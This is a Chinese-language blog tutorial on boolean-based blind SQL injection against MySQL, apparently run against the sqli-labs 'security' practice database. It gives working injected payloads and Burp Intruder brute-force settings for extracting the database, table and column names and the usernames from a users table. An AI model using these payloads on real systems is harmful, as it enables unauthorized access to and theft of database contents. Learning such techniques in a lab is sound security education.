MySQL_SQL布尔盲注

1,判断数据库名的长度
and length(database())>9
在这里插入图片描述

判断数据库等于8,为8个
2,获取数据库的ascii码值
and ascii(substr(database(),1,1))>97
在这里插入图片描述

*由于一个一个猜太麻烦了,可以使用burp工具的lntruedr模块进行爆破,
抓包之前需要将>号改成=号才能进行爆破。
在这里插入图片描述

1号选择cluster bomb意思是使用交叉爆破
2号表示需要查询的数据库字符的第一位
3号表示需要进行爆破的ascii码
*设置爆破参数
切换到payload界面
1号表示第几个字典
2号Numbers表示使用数字方式进行爆破
3号表示开始的字数,从几开始(数据库字段数的开始数)
4号表示到多少位数字结束(数据库字段数的结束的数)
5号表示号表示到多少位数字结束(数据库字段数的结束的数)
在这里插入图片描述在这里插入图片描述

字典二这里爆破参数,设置参数和字典一样设置为Numbers
爆破,值,的都为ascii码,ascii从0到127结束
在这里插入图片描述

设置完这些后。Start开启爆破
在这里插入图片描述

已上黄色的内容为爆破出来的数据库名
在这里插入图片描述

使用解码工具进行解码
在这里插入图片描述

解码后数据库为security
3判断表的数量
and(select count(*) from information_schema.tables where table_schema=database())=4
判断表的数量为4
在这里插入图片描述

4判断表的字符长度
and (select length(table_name)from information_schema.tables where table_schema = database() limit 2,1)=7
在这里插入图片描述

表的字符长度为7
5判断表名的ascii值是多少
and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 2,1),1,1))=120
这里不用一个一个进行判断,直接使用burp进行爆破就可以了
在这里插入图片描述

开启抓包1号为爆破的第一个字段,2号为爆破的ascii码,
payloads设置和上面设置的一样
不过字典1要根据,你查询出来的表名的实际,字符长度进行设置。1到n到1
字典2 为ascii码,还是和之前一样1到27到1
如果没有查询到自己想要的表就重新进行判断,查询重新第二表的字符长度,查询第二个表的asci码值,重复5到4的步骤
在这里插入图片描述

爆破出来 后使用解码根据进行解码
在这里插入图片描述

6.获取列的数量
and (select count(*) from information_schema.columns where table_name=‘users’ and table_schema = database() )=3
在这里插入图片描述

判断users表列的数量为3
7.获取列名的长度
and (select length(column_name) from information_schema.columns where table_name=‘users’ and table_schema = database() limit 1,1 )= 8
在这里插入图片描述

判断第二个列名长度为8
8.获取列名对应的ascii码值
and ascii(substr((select column_name from information_schema.columns where table_name =‘users’ and table_schema=database() limit 1,1 ),1,1 ))>97
在这里插入图片描述

这里不才阐述,怎么使用burp进行爆破了,步骤和爆表名的方式一样。
获取到的列名为username
使用以上方法继续获取第三个列明
第三个列名password
9.获取列的,第一个数据的长度
and (select length(username) from security.users limit 0,1)=4
在这里插入图片描述

获取长度为4
10,获取第username列,第一个数据对应的ascii值
ascii(substr((select username from security.users limit 0,1),1,1))=1
在这里插入图片描述

按上面使用爆表名的方式进行爆破.其他列也是使用这种方式只不过换一个形式而已
总结布尔盲注的步骤。
1,获取数据库名的长度。
2,获取数据库对应的ascii码值
3,获取表的数量
4,获取表名的长度
5,获取表名对应的ascii码值
6,获取列的数量
7,获取列的长度
8,获取某个列的数据的长度
9,获取数据对应的ascii值

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值